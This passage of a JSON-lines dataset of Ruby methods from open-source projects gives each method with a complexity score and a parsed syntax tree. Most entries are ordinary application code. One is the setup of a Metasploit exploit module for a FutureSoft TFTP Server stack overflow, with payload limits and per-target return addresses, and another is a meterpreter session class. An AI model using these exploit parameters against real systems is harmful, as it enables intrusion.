end","complexity_score":7.6,"ast_json":"{\"type\":\"defs\",\"children\":[{\"type\":\"self\",\"children\":[]},\"model_from_emstype\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"emstype\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"emstype\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"emstype\"]},\"downcase\"]}]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"ExtManagementSystem\"]},\"concrete_subclasses\"]},\"detect\"]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"k\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"k\"]},\"ems_type\"]},\"==\",{\"type\":\"lvar\",\"children\":[\"emstype\"]}]}]}]}]}","id":"61f38bda-951c-45d4-8a73-87e93c58f352"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/lib/gitlab/ci/parsers/coverage/documents/cobertura_document.rb","start_line":73,"raw_source":"def build_source_path(node)\n              # | raw source                  | extracted  |\n              # |-----------------------------|------------|\n              # | /builds/foo/test/SampleLib/ | SampleLib/ |\n              # | /builds/foo/test/something  | something  |\n              # | /builds/foo/test/           | nil        |\n              # | /builds/foo/test            | nil        |\n              # | D:\\builds\\foo\\bar\\app\\      | app\\       |\n              unixify(node).split(\"#{project_path}/\", 2)[1]\n            end","complexity_score":5.65,"ast_json":"{\"type\":\"def\",\"children\":[\"build_source_path\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"node\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"unixify\",{\"type\":\"lvar\",\"children\":[\"node\"]}]},\"split\",{\"type\":\"dstr\",\"children\":[{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"project_path\"]}]},{\"type\":\"str\",\"children\":[\"/\"]}]},{\"type\":\"int\",\"children\":[2]}]},\"[]\",{\"type\":\"int\",\"children\":[1]}]}]}","id":"36f8f8e1-a753-48c5-a9ba-7770ac1296da"}
{"repo_name":"metasploit-framework","file_path":"./repos/metasploit-framework/modules/exploits/windows/tftp/futuresoft_transfermode.rb","start_line":12,"raw_source":"def initialize(info = {})\n    super(\n      update_info(\n        info,\n        'Name' => 'FutureSoft TFTP Server 2000 Transfer-Mode Overflow',\n        'Description' => %q{\n          This module exploits a stack buffer overflow in the FutureSoft TFTP Server\n          2000 product. By sending an overly long transfer-mode string, we were able\n          to overwrite both the SEH and the saved EIP. A subsequent write-exception\n          that will occur allows the transferring of execution to our shellcode\n          via the overwritten SEH. This module has been tested against Windows\n          2000 Professional and for some reason does not seem to work against\n          Windows 2000 Server (could not trigger the overflow at all).\n        },\n        'Author' => 'MC',\n        'References' => [\n          ['CVE', '2005-1812'],\n          ['OSVDB', '16954'],\n          ['BID', '13821']\n\n        ],\n        'DefaultOptions' => {\n          'EXITFUNC' => 'process',\n        },\n        'Payload' => {\n          'Space' => 350,\n          'BadChars' => \"\\x00\",\n          'StackAdjustment' => -3500,\n        },\n        'Platform' => 'win',\n        'Targets' => [\n          ['Windows 2000 Pro English ALL', { 'Ret' => 0x75022ac4 } ], # ws2help.dll\n          ['Windows XP Pro SP0/SP1 English', { 'Ret' => 0x71aa32ad } ], # ws2help.dll\n          ['Windows NT SP5/SP6a English', { 'Ret' => 0x776a1799 } ], # ws2help.dll\n          ['Windows 2003 Server English', { 'Ret' => 0x7ffc0638 } ], # PEB return\n        ],\n        'Privileged' => true,\n        'DisclosureDate' => '2005-05-31',\n        'Notes' => {\n          'Reliability' => UNKNOWN_RELIABILITY,\n          'Stability' => UNKNOWN_STABILITY,\n          'SideEffects' => UNKNOWN_SIDE_EFFECTS\n        }\n      )\n    )\n\n    register_options(\n      [\n        Opt::RPORT(69)\n      ]\n    )\n  end","complexity_score":7.35,"ast_json":"{\"type\":\"def\",\"children\":[\"initialize\",{\"type\":\"args\",\"children\":[{\"type\":\"optarg\",\"children\":[\"info\",{\"type\":\"hash\",\"children\":[]}]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"super\",\"children\":[{\"type\":\"send\",\"children\":[null,\"update_info\",{\"type\":\"lvar\",\"children\":[\"info\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Name\"]},{\"type\":\"str\",\"children\":[\"FutureSoft TFTP Server 2000 Transfer-Mode Overflow\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Description\"]},{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"\\n\"]},{\"type\":\"str\",\"children\":[\"          This module exploits a stack buffer overflow in the FutureSoft TFTP Server\\n\"]},{\"type\":\"str\",\"children\":[\"          2000 product. By sending an overly long transfer-mode string, we were able\\n\"]},{\"type\":\"str\",\"children\":[\"          to overwrite both the SEH and the saved EIP. A subsequent write-exception\\n\"]},{\"type\":\"str\",\"children\":[\"          that will occur allows the transferring of execution to our shellcode\\n\"]},{\"type\":\"str\",\"children\":[\"          via the overwritten SEH. This module has been tested against Windows\\n\"]},{\"type\":\"str\",\"children\":[\"          2000 Professional and for some reason does not seem to work against\\n\"]},{\"type\":\"str\",\"children\":[\"          Windows 2000 Server (could not trigger the overflow at all).\\n\"]},{\"type\":\"str\",\"children\":[\"        \"]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Author\"]},{\"type\":\"str\",\"children\":[\"MC\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"References\"]},{\"type\":\"array\",\"children\":[{\"type\":\"array\",\"children\":[{\"type\":\"str\",\"children\":[\"CVE\"]},{\"type\":\"str\",\"children\":[\"2005-1812\"]}]},{\"type\":\"array\",\"children\":[{\"type\":\"str\",\"children\":[\"OSVDB\"]},{\"type\":\"str\",\"children\":[\"16954\"]}]},{\"type\":\"array\",\"children\":[{\"type\":\"str\",\"children\":[\"BID\"]},{\"type\":\"str\",\"children\":[\"13821\"]}]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"DefaultOptions\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"EXITFUNC\"]},{\"type\":\"str\",\"children\":[\"process\"]}]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Payload\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Space\"]},{\"type\":\"int\",\"children\":[350]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"BadChars\"]},{\"type\":\"str\",\"children\":[\"\\u0000\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"StackAdjustment\"]},{\"type\":\"int\",\"children\":[-3500]}]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Platform\"]},{\"type\":\"str\",\"children\":[\"win\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Targets\"]},{\"type\":\"array\",\"children\":[{\"type\":\"array\",\"children\":[{\"type\":\"str\",\"children\":[\"Windows 2000 Pro English ALL\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Ret\"]},{\"type\":\"int\",\"children\":[1963076292]}]}]}]},{\"type\":\"array\",\"children\":[{\"type\":\"str\",\"children\":[\"Windows XP Pro SP0/SP1 English\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Ret\"]},{\"type\":\"int\",\"children\":[1906979501]}]}]}]},{\"type\":\"array\",\"children\":[{\"type\":\"str\",\"children\":[\"Windows NT SP5/SP6a English\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Ret\"]},{\"type\":\"int\",\"children\":[2003441561]}]}]}]},{\"type\":\"array\",\"children\":[{\"type\":\"str\",\"children\":[\"Windows 2003 Server English\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Ret\"]},{\"type\":\"int\",\"children\":[2147223096]}]}]}]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Privileged\"]},{\"type\":\"true\",\"children\":[]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"DisclosureDate\"]},{\"type\":\"str\",\"children\":[\"2005-05-31\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Notes\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Reliability\"]},{\"type\":\"const\",\"children\":[null,\"UNKNOWN_RELIABILITY\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Stability\"]},{\"type\":\"const\",\"children\":[null,\"UNKNOWN_STABILITY\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"SideEffects\"]},{\"type\":\"const\",\"children\":[null,\"UNKNOWN_SIDE_EFFECTS\"]}]}]}]}]}]}]},{\"type\":\"send\",\"children\":[null,\"register_options\",{\"type\":\"array\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Opt\"]},\"RPORT\",{\"type\":\"int\",\"children\":[69]}]}]}]}]}]}","id":"53093ff8-986f-4102-a300-d0e09074cec1"}
{"repo_name":"metasploit-framework","file_path":"./repos/metasploit-framework/lib/postgres/binary_writer.rb","start_line":103,"raw_source":"def pw(val, template)\n    write([val].pack(template))\n  end","complexity_score":2.2,"ast_json":"{\"type\":\"def\",\"children\":[\"pw\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"val\"]},{\"type\":\"arg\",\"children\":[\"template\"]}]},{\"type\":\"send\",\"children\":[null,\"write\",{\"type\":\"send\",\"children\":[{\"type\":\"array\",\"children\":[{\"type\":\"lvar\",\"children\":[\"val\"]}]},\"pack\",{\"type\":\"lvar\",\"children\":[\"template\"]}]}]}]}","id":"b0ebe39c-50f9-404a-a2cf-c554a2be5e03"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/lib/gitlab/github_import/clients/search_repos.rb","start_line":27,"raw_source":"def graphql_search_repos_body(name, options)\n          query = search_repos_query(name, options)\n          query = \"query: \\\"#{query}\\\"\"\n          first = options[:first].present? ? \", first: #{options[:first]}\" : ''\n          after = options[:after].present? ? \", after: \\\"#{options[:after]}\\\"\" : ''\n          <<-TEXT\n          {\n              search(type: REPOSITORY, #{query}#{first}#{after}) {\n                  nodes {\n                      __typename\n                      ... on Repository {\n                          id: databaseId\n                          name\n                          full_name: nameWithOwner\n                          owner { login }\n                      }\n                  }\n                  pageInfo {\n                      startCursor\n                      endCursor\n                      hasNextPage\n                      hasPreviousPage\n                  },\n                  repositoryCount\n              }\n          }\n          TEXT\n        end","complexity_score":13.6,"ast_json":"{\"type\":\"def\",\"children\":[\"graphql_search_repos_body\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"name\"]},{\"type\":\"arg\",\"children\":[\"options\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"query\",{\"type\":\"send\",\"children\":[null,\"search_repos_query\",{\"type\":\"lvar\",\"children\":[\"name\"]},{\"type\":\"lvar\",\"children\":[\"options\"]}]}]},{\"type\":\"lvasgn\",\"children\":[\"query\",{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"query: \\\"\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"query\"]}]},{\"type\":\"str\",\"children\":[\"\\\"\"]}]}]},{\"type\":\"lvasgn\",\"children\":[\"first\",{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"options\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"first\"]}]},\"present?\"]},{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\", first: \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"options\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"first\"]}]}]}]},{\"type\":\"str\",\"children\":[\"\"]}]}]},{\"type\":\"lvasgn\",\"children\":[\"after\",{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"options\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"after\"]}]},\"present?\"]},{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\", after: \\\"\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"options\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"after\"]}]}]},{\"type\":\"str\",\"children\":[\"\\\"\"]}]},{\"type\":\"str\",\"children\":[\"\"]}]}]},{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"          {\\n\"]},{\"type\":\"str\",\"children\":[\"              search(type: REPOSITORY, \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"query\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"first\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"after\"]}]},{\"type\":\"str\",\"children\":[\") {\\n\"]},{\"type\":\"str\",\"children\":[\"                  nodes {\\n\"]},{\"type\":\"str\",\"children\":[\"                      __typename\\n\"]},{\"type\":\"str\",\"children\":[\"                      ... on Repository {\\n\"]},{\"type\":\"str\",\"children\":[\"                          id: databaseId\\n\"]},{\"type\":\"str\",\"children\":[\"                          name\\n\"]},{\"type\":\"str\",\"children\":[\"                          full_name: nameWithOwner\\n\"]},{\"type\":\"str\",\"children\":[\"                          owner { login }\\n\"]},{\"type\":\"str\",\"children\":[\"                      }\\n\"]},{\"type\":\"str\",\"children\":[\"                  }\\n\"]},{\"type\":\"str\",\"children\":[\"                  pageInfo {\\n\"]},{\"type\":\"str\",\"children\":[\"                      startCursor\\n\"]},{\"type\":\"str\",\"children\":[\"                      endCursor\\n\"]},{\"type\":\"str\",\"children\":[\"                      hasNextPage\\n\"]},{\"type\":\"str\",\"children\":[\"                      hasPreviousPage\\n\"]},{\"type\":\"str\",\"children\":[\"                  },\\n\"]},{\"type\":\"str\",\"children\":[\"                  repositoryCount\\n\"]},{\"type\":\"str\",\"children\":[\"              }\\n\"]},{\"type\":\"str\",\"children\":[\"          }\\n\"]}]}]}]}","id":"84485c2d-5014-4ab2-97f2-224ccb4f04f2"}
{"repo_name":"manageiq","file_path":"./repos/manageiq/lib/services/locale_resolver.rb","start_line":8,"raw_source":"def initialize(user, headers = {})\n    @user = user\n    @headers = headers\n  end","complexity_score":3.0,"ast_json":"{\"type\":\"def\",\"children\":[\"initialize\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"user\"]},{\"type\":\"optarg\",\"children\":[\"headers\",{\"type\":\"hash\",\"children\":[]}]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"ivasgn\",\"children\":[\"@user\",{\"type\":\"lvar\",\"children\":[\"user\"]}]},{\"type\":\"ivasgn\",\"children\":[\"@headers\",{\"type\":\"lvar\",\"children\":[\"headers\"]}]}]}]}","id":"3d29e36e-6584-4c8a-b3a1-bfb05dac773a"}
{"repo_name":"spree","file_path":"./repos/spree/core/app/helpers/spree/locale_helper.rb","start_line":11,"raw_source":"def supported_locales_options\n      return if current_store.nil?\n\n      current_store.supported_locales_list.map { |locale| locale_presentation(locale) }\n    end","complexity_score":8.9,"ast_json":"{\"type\":\"def\",\"children\":[\"supported_locales_options\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"current_store\"]},\"nil?\"]},{\"type\":\"return\",\"children\":[]},null]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"current_store\"]},\"supported_locales_list\"]},\"map\"]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"locale\"]}]},{\"type\":\"send\",\"children\":[null,\"locale_presentation\",{\"type\":\"lvar\",\"children\":[\"locale\"]}]}]}]}]}","id":"4f1ae63e-69ab-4852-af76-da23513dfe9c"}
{"repo_name":"fastlane","file_path":"./repos/fastlane/fastlane/lib/fastlane/actions/get_build_number_repository.rb","start_line":36,"raw_source":"def self.command(use_hg_revision_number)\n        if is_svn?\n          UI.message(\"Detected repo: svn\")\n          return 'svn info | grep Revision | egrep -o \"[0-9]+\"'\n        elsif is_git_svn?\n          UI.message(\"Detected repo: git-svn\")\n          return 'git svn info | grep Revision | egrep -o \"[0-9]+\"'\n        elsif is_git?\n          UI.message(\"Detected repo: git\")\n          return 'git rev-parse --short HEAD'\n        elsif is_hg?\n          UI.message(\"Detected repo: hg\")\n          if use_hg_revision_number\n            return 'hg parent --template {rev}'\n          else\n            return 'hg parent --template \"{node|short}\"'\n          end\n        else\n          UI.user_error!(\"No repository detected\")\n        end\n      end","complexity_score":17.5,"ast_json":"{\"type\":\"defs\",\"children\":[{\"type\":\"self\",\"children\":[]},\"command\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"use_hg_revision_number\"]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[null,\"is_svn?\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"UI\"]},\"message\",{\"type\":\"str\",\"children\":[\"Detected repo: svn\"]}]},{\"type\":\"return\",\"children\":[{\"type\":\"str\",\"children\":[\"svn info | grep Revision | egrep -o \\\"[0-9]+\\\"\"]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[null,\"is_git_svn?\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"UI\"]},\"message\",{\"type\":\"str\",\"children\":[\"Detected repo: git-svn\"]}]},{\"type\":\"return\",\"children\":[{\"type\":\"str\",\"children\":[\"git svn info | grep Revision | egrep -o \\\"[0-9]+\\\"\"]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[null,\"is_git?\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"UI\"]},\"message\",{\"type\":\"str\",\"children\":[\"Detected repo: git\"]}]},{\"type\":\"return\",\"children\":[{\"type\":\"str\",\"children\":[\"git rev-parse --short HEAD\"]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[null,\"is_hg?\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"UI\"]},\"message\",{\"type\":\"str\",\"children\":[\"Detected repo: hg\"]}]},{\"type\":\"if\",\"children\":[{\"type\":\"lvar\",\"children\":[\"use_hg_revision_number\"]},{\"type\":\"return\",\"children\":[{\"type\":\"str\",\"children\":[\"hg parent --template {rev}\"]}]},{\"type\":\"return\",\"children\":[{\"type\":\"str\",\"children\":[\"hg parent --template \\\"{node|short}\\\"\"]}]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"UI\"]},\"user_error!\",{\"type\":\"str\",\"children\":[\"No repository detected\"]}]}]}]}]}]}]}","id":"784d19b4-5860-4f4a-880b-007400171b72"}
{"repo_name":"discourse","file_path":"./repos/discourse/app/serializers/reviewable_user_serializer.rb","start_line":29,"raw_source":"def attributes(*args)\n    data = super\n    data[:payload]&.delete(\"email\") if !include_email?\n    data\n  end","complexity_score":6.7,"ast_json":"{\"type\":\"def\",\"children\":[\"attributes\",{\"type\":\"args\",\"children\":[{\"type\":\"restarg\",\"children\":[\"args\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"data\",{\"type\":\"zsuper\",\"children\":[]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"include_email?\"]},\"!\"]},{\"type\":\"csend\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"data\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"payload\"]}]},\"delete\",{\"type\":\"str\",\"children\":[\"email\"]}]},null]},{\"type\":\"lvar\",\"children\":[\"data\"]}]}]}","id":"325de646-9d28-4f5d-9f0c-f9f570b29bfc"}
{"repo_name":"metasploit-framework","file_path":"./repos/metasploit-framework/lib/msf/base/sessions/meterpreter_ppce500v2_linux.rb","start_line":19,"raw_source":"def initialize(rstream, opts={})\n    super\n    self.base_platform = 'linux'\n    self.base_arch = ARCH_PPCE500V2\n  end","complexity_score":3.0,"ast_json":"{\"type\":\"def\",\"children\":[\"initialize\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"rstream\"]},{\"type\":\"optarg\",\"children\":[\"opts\",{\"type\":\"hash\",\"children\":[]}]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"zsuper\",\"children\":[]},{\"type\":\"send\",\"children\":[{\"type\":\"self\",\"children\":[]},\"base_platform=\",{\"type\":\"str\",\"children\":[\"linux\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"self\",\"children\":[]},\"base_arch=\",{\"type\":\"const\",\"children\":[null,\"ARCH_PPCE500V2\"]}]}]}]}","id":"2fbd3f11-9cc9-45d3-961d-391ce5333691"}
{"repo_name":"chatwoot","file_path":"./repos/chatwoot/enterprise/app/builders/saml_user_builder.rb","start_line":8,"raw_source":"def perform\n    @user = find_or_create_user\n    add_user_to_account if @user.persisted?\n    @user\n  end","complexity_score":5.1,"ast_json":"{\"type\":\"def\",\"children\":[\"perform\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"ivasgn\",\"children\":[\"@user\",{\"type\":\"send\",\"children\":[null,\"find_or_create_user\"]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@user\"]},\"persisted?\"]},{\"type\":\"send\",\"children\":[null,\"add_user_to_account\"]},null]},{\"type\":\"ivar\",\"children\":[\"@user\"]}]}]}","id":"7d412d85-3610-4477-8db3-d972617ff425"}
{"repo_name":"manageiq","file_path":"./repos/manageiq/lib/vmdb/gettext/domains.rb","start_line":33,"raw_source":"def self.initialize_chain_repo\n        FastGettext.translation_repositories[TEXT_DOMAIN] =\n          FastGettext.add_text_domain(TEXT_DOMAIN, :type => :chain, :chain => @domains)\n      end","complexity_score":3.0,"ast_json":"{\"type\":\"defs\",\"children\":[{\"type\":\"self\",\"children\":[]},\"initialize_chain_repo\",{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"FastGettext\"]},\"translation_repositories\"]},\"[]=\",{\"type\":\"const\",\"children\":[null,\"TEXT_DOMAIN\"]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"FastGettext\"]},\"add_text_domain\",{\"type\":\"const\",\"children\":[null,\"TEXT_DOMAIN\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"type\"]},{\"type\":\"sym\",\"children\":[\"chain\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"chain\"]},{\"type\":\"ivar\",\"children\":[\"@domains\"]}]}]}]}]}]}","id":"6bb451c9-78c7-405f-bbce-95112b1e56fe"}
{"repo_name":"forem","file_path":"./repos/forem/app/controllers/admin/users_controller.rb","start_line":225,"raw_source":"def add_tag_mod_role\n      user = User.find(params[:id])\n      tag = Tag.find_by(name: user_params[:tag_name])\n\n      unless tag\n        flash[:error] = I18n.t(\"errors.messages.general\",\n                               errors: I18n.t(\"admin.users_controller.tag_not_found\",\n                                              tag_name: user_params[:tag_name]))\n        return redirect_to admin_user_path(user.id)\n      end\n\n      result = TagModerators::Add.call(user.id, tag.id)\n      if result.success?\n        flash[:success] = I18n.t(\"admin.tags.moderators_controller.added\", username: user.username)\n      else\n        flash[:error] = I18n.t(\"errors.messages.general\", errors:\n          I18n.t(\"admin.tags.moderators_controller.not_found_or\",\n                 user_id: user.id,\n                 errors: result.errors))\n      end\n      redirect_to admin_user_path(user.id)\n    end","complexity_score":45.0,"ast_json":"{\"type\":\"def\",\"children\":[\"add_tag_mod_role\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"user\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"User\"]},\"find\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"params\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"id\"]}]}]}]},{\"type\":\"lvasgn\",\"children\":[\"tag\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Tag\"]},\"find_by\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"name\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"user_params\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"tag_name\"]}]}]}]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"lvar\",\"children\":[\"tag\"]},null,{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"flash\"]},\"[]=\",{\"type\":\"sym\",\"children\":[\"error\"]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"I18n\"]},\"t\",{\"type\":\"str\",\"children\":[\"errors.messages.general\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"errors\"]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"I18n\"]},\"t\",{\"type\":\"str\",\"children\":[\"admin.users_controller.tag_not_found\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"tag_name\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"user_params\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"tag_name\"]}]}]}]}]}]}]}]}]},{\"type\":\"return\",\"children\":[{\"type\":\"send\",\"children\":[null,\"redirect_to\",{\"type\":\"send\",\"children\":[null,\"admin_user_path\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"user\"]},\"id\"]}]}]}]}]}]},{\"type\":\"lvasgn\",\"children\":[\"result\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"TagModerators\"]},\"Add\"]},\"call\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"user\"]},\"id\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"tag\"]},\"id\"]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"result\"]},\"success?\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"flash\"]},\"[]=\",{\"type\":\"sym\",\"children\":[\"success\"]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"I18n\"]},\"t\",{\"type\":\"str\",\"children\":[\"admin.tags.moderators_controller.added\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"username\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"user\"]},\"username\"]}]}]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"flash\"]},\"[]=\",{\"type\":\"sym\",\"children\":[\"error\"]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"I18n\"]},\"t\",{\"type\":\"str\",\"children\":[\"errors.messages.general\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"errors\"]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"I18n\"]},\"t\",{\"type\":\"str\",\"children\":[\"admin.tags.moderators_controller.not_found_or\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"user_id\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"user\"]},\"id\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"errors\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"result\"]},\"errors\"]}]}]}]}]}]}]}]}]},{\"type\":\"send\",\"children\":[null,\"redirect_to\",{\"type\":\"send\",\"children\":[null,\"admin_user_path\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"user\"]},\"id\"]}]}]}]}]}","id":"4fb3835f-0894-4308-84b1-ad779ff4e785"}
